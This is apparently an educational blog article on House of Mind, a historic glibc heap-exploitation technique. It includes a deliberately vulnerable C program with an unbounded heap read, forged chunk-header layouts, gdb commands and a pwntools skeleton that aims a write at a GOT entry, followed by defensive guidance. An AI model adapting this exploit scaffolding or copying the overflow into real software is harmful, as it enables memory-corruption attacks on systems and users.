House of Mind

House of Mind - article cover image RE & Pwn
Time it takes to read this article 9 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

House of Mind is the opening technique of Phantasmal Phantasmagoria’s 2005 paper *The Malloc Maleficarum*, the catalogue that first systematised attacks against glibc’s ptmalloc2 allocator and gave the whole ‘House of’ family its name. Its distinguishing idea is that it does not attack a bin or a chunk directly — it attacks the allocator’s notion of *which arena a chunk belongs to*. glibc decides the arena for a freed chunk by masking the chunk’s address down to a heap_info header and reading a pointer out of it. House of Mind arranges for that pointer to be read from attacker-controlled memory, so free() operates on a completely fake arena and can be steered into writing a chunk address wherever the attacker likes.

It is essential to be candid about era: House of Mind is a historic technique. It was written for the glibc 2.3.x generation of ptmalloc2, long before per-thread tcache (glibc 2.26), before safe-unlinking hardening became pervasive, and before the modern raft of arena and chunk-integrity checks. It does not work unmodified against any current glibc, and you will not find it in a 2024 CTF as a live primitive. It earns its place here as the *ancestor* of every later arena- and metadata-confusion attack: understanding why House of Mind worked is the fastest way to understand why glibc grew the defences it has today.

Attack Prerequisites

House of Mind is a heap-overflow primitive against an old allocator. For it to be reachable, roughly the following must hold:

  • A glibc/ptmalloc2 of the pre-hardening era — the 2.3.x-generation allocator the paper targets, with no tcache and effectively no chunk-integrity or arena-sanity checks on the free path.
  • A heap overflow into an adjacent chunk’s header — enough to overwrite the victim chunk’s size field so the attacker can set flag bits and choose the size class.
  • Control of the NON_MAIN_ARENA flag — bit 2 of the size field. Setting it is what tells free() to resolve the arena via the heap header rather than assuming the main arena.
  • A predictable, attacker-populated region at the masked address — because the arena is found by masking the chunk pointer down to a heap boundary, the attacker needs the memory at that boundary to contain a fake heap_info whose ar_ptr points at a fake malloc_state. In practice this means a large enough / groomed enough heap that the masked address lands on controlled data.
  • A worthwhile write target — classically a GOT entry or a function pointer, since the primitive yields a write of a heap address to an attacker-chosen location.

How It Works

Every chunk in ptmalloc carries flag bits in the low three bits of its size field: PREV_INUSE, IS_MMAPPED, and NON_MAIN_ARENA. When free() runs, it must find the malloc_state (the arena) that owns the chunk so it can lock it and file the chunk on the right bin. For a main-arena chunk that arena is simply &main_arena. For a chunk flagged NON_MAIN_ARENA, glibc instead resolves the arena through the macro chain arena_for_chunk -> heap_for_ptr(ptr), and heap_for_ptr computes the containing heap by *masking the chunk address* to the HEAP_MAX_SIZE boundary. It then reads the ar_ptr field from the heap_info struct sitting at that boundary. The key insight of House of Mind is that this masking is pure arithmetic on the chunk address — the allocator never verifies that the resulting heap_info is real.

So the attacker overflows a chunk header to set NON_MAIN_ARENA and to give the chunk a size of their choosing, and positions that chunk so that masking its address lands on memory they control. That memory is dressed up as a fake heap_info whose ar_ptr points to a fake malloc_state. When the program frees the chunk, _int_free dutifully follows the fake arena pointer. In the classic *fastbin* variant of the attack, the fake arena is crafted so that the chunk’s size selects a fastbin, and _int_free pushes the chunk onto that fastbin by writing the chunk’s address into the fake arena’s fastbinsY array at the computed index. Because the attacker controls where the fake fastbinsY lives, that store is an arbitrary write of a heap pointer to a chosen address.

There are two documented flavours. The fastbin House of Mind above is the simplest: it needs only that the fake arena’s fastbin slot overlap the target, and the write is the chunk address itself. The unsorted/av variant is more involved and routes the chunk through the unsorted-bin insertion path of the fake arena, using the classic unlink-style pointer writes (fd/bk) to achieve a more flexible write. Both share the same root cause: free() trusts an arena pointer that was derived, without validation, from the address of an attacker-controlled chunk. Modern glibc closed this by hardening the free path with size/alignment sanity checks and corrupted-list detection, which is precisely why the technique is now of historical interest only.

Vulnerable Code / Setup

The enabling bug is an ordinary linear heap overflow that reaches the header of a following chunk. The program below allocates two chunks and lets the user write past the end of the first, straight into the second chunk’s size field — the exact primitive House of Mind needs to plant NON_MAIN_ARENA and a chosen size:

#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* Compiled against a pre-2.26, pre-hardening glibc for the technique to work. */
int main(void) {
    char *a = malloc(0x80);       /* victim we overflow FROM                 */
    char *b = malloc(0x80);       /* its header is what we corrupt           */

    /* VULN: no bounds check -- read of arbitrary length into a[].
       Writing past 0x80 bytes lands on b's prev_size/size fields. */
    read(0, a, 0x200);

    /* When b is freed, a corrupted size with NON_MAIN_ARENA set makes glibc
       resolve b's arena from a fake heap_info at heap_for_ptr(b). */
    free(b);
    return 0;
}
C

The corruption the attacker writes into b‘s header is the whole trick: a size value with NON_MAIN_ARENA (bit 2) set, chosen so that _int_free walks the fake-arena fastbin path. Conceptually the forged header and fake arena look like this:

/* b's forged chunk header (written via the overflow of a):            */
/*   prev_size = <don't care>                                          */
/*   size      = 0x8 | NON_MAIN_ARENA        (bit 2 set; fastbin size)  */

/* Fake heap_info at heap_for_ptr(b) == (b & ~(HEAP_MAX_SIZE-1)):       */
struct heap_info { void *ar_ptr; /* -> fake malloc_state */ ... };

/* Fake malloc_state (the 'arena'): its fastbinsY[idx] slot is aimed    */
/* at the target (e.g. a GOT entry). free(b) stores b into that slot.   */
C

Because this only works on an ancient allocator, checksec and the libc fingerprint matter more than usual — the technique presupposes a libc that predates the mitigations everyone now ships. Triage first:

$ checksec --file=./mind
RELRO      STACK CANARY   NX        PIE
Partial    No canary      NX enab.  No PIE     <-- GOT writable, static target

$ ldd ./mind | grep libc
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6   # must be a pre-tcache,
                                                 # pre-hardening 2.3.x-era libc
Bash

Walkthrough / Exploitation

Confirm the arena confusion in a debugger before scripting anything: the whole attack is proving that free() followed your fake arena instead of main_arena. In gdb with pwndbg, break before the free, inspect the corrupted header, and watch where the chunk address is stored:

gdb -q ./mind
pwndbg> break free
pwndbg> run < input
pwndbg> # inspect the corrupted victim header (NON_MAIN_ARENA must be set):
pwndbg> x/4gx (void*)b - 0x10
pwndbg> # compute the masked heap_info address the allocator will use:
pwndbg> p/x (unsigned long)b & ~(HEAP_MAX_SIZE-1)
pwndbg> # step over free and confirm the chunk addr landed in the fake slot:
pwndbg> finish
pwndbg> x/gx <target_address>     # should now hold b's chunk address
Bash

Against a menu-style target the composition is: groom the heap so the masked boundary lands on memory you control, plant the fake heap_info and fake malloc_state, overflow the victim header to set NON_MAIN_ARENA and the chosen size, then trigger the free. A pwntools skeleton keeps the fake-arena layout explicit rather than hardcoding libc offsets:

from pwn import *

io = process('./mind')

def alloc(sz, data): ...   # menu: request + fill a chunk
def free(idx):       ...   # menu: free chunk idx

# 1) Groom: allocate enough that heap_for_ptr(victim) masks onto a region
#    we have populated with a fake heap_info + fake malloc_state.
fake_arena = build_fake_malloc_state(fastbin_target=elf.got['free'])
plant_fake_heap_info(ar_ptr=fake_arena)

# 2) Overflow chunk a into chunk b's header: size = 0x8 | NON_MAIN_ARENA (0x4)
NON_MAIN_ARENA = 0x4
overflow  = b'A' * 0x80          # fill a
overflow += p64(0x0)             # b prev_size
overflow += p64(0x8 | NON_MAIN_ARENA)   # b size: fastbin idx + flag
alloc_into_a(overflow)

# 3) Free b -> _int_free follows the fake arena and stores b into the
#    fake fastbinsY slot aimed at got['free'].
free_b()

# 4) A subsequent same-size malloc returns b; write a function ptr through it.
io.interactive()
Python

The follow-through is the same shape as every early ptmalloc write primitive: the store lands on a GOT entry or saved function pointer, and the next indirect call transfers control to attacker code (in that era, often directly to shellcode on an executable heap or stack). The modern lesson is that the power came entirely from free() trusting an unvalidated arena pointer — a single missing check that later glibc releases turned into hard aborts.

Note: The fragile part of House of Mind is never the fake arena itself but the *masking*: heap_for_ptr rounds the chunk address down to the HEAP_MAX_SIZE boundary, so the attacker must control what lives at that boundary. On a fresh main-arena heap that boundary is not attacker memory, which is why the technique demands heap grooming (or a secondary allocation primitive) to make the masked address coincide with a buffer you have already filled. Get the boundary arithmetic wrong and free() reads a garbage ar_ptr and crashes long before any useful write.

Opsec / Reality check: Do not reach for House of Mind on a modern target. Since glibc 2.26 the tcache path intercepts small frees entirely, and the fastbin/arena code gained size, alignment, and arena-consistency checks that reject a forged NON_MAIN_ARENA chunk. If you are on a current libc, the spiritual successors — tcache poisoning for a controlled allocation, or House of Corrosion for a leakless fastbin-ceiling write — are the techniques that actually fire. Treat House of Mind as the archaeology that explains them.

Detection and Defense

House of Mind is closed by construction on any maintained libc, so ‘defence’ here is mostly about not shipping the conditions it needs and catching the underlying overflow:

  • Run a current glibc — tcache interception plus the modern free-path integrity checks (size sanity, alignment, arena consistency, corrupted-list detection) make the fake-arena resolution unreachable in practice.
  • Eliminate the heap overflow at the source — bounds-check every copy into a heap buffer; the technique cannot start without a write into an adjacent chunk’s header.
  • AddressSanitizer / MemorySanitizer in CI — a linear heap overflow into a chunk header is flagged deterministically as a heap-buffer-overflow, catching the precursor bug before release.
  • Full RELRO + PIE — removes the writable GOT that the classic variant aims its write at, and randomises the arena/heap addresses the masking arithmetic depends on.
  • Hardened allocators — allocators that keep metadata out-of-line (hardened_malloc, scudo) do not resolve an arena from an in-band, attacker-adjacent header at all, removing the primitive’s foundation.

Real-World Impact

House of Mind’s importance is historical and pedagogical rather than operational. As the first entry in *The Malloc Maleficarum*, it reframed heap exploitation around abusing allocator *metadata and control structures* rather than just smashing chunk contents, and it directly motivated a decade of glibc hardening — safe unlinking, arena and size sanity checks, and eventually the tcache redesign. Its DNA is visible in every modern arena- or metadata-confusion technique, including the leakless fastbin-ceiling abuse of House of Corrosion. You should understand it not to deploy it, but because the checks it provoked are the very ones you spend your time bypassing on current targets.

Conclusion

House of Mind turned free()‘s arena lookup into a weapon: by flagging a chunk NON_MAIN_ARENA and steering the masked heap-header lookup onto attacker memory, it made the allocator file a chunk into a fake arena and write that chunk’s address wherever the attacker chose. It is firmly a pre-2.26, pre-hardening technique and will not fire on a modern libc — but it is the ancestor whose exploitation of unvalidated allocator metadata explains why glibc’s free path is now littered with the sanity checks that later houses must so carefully work around.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL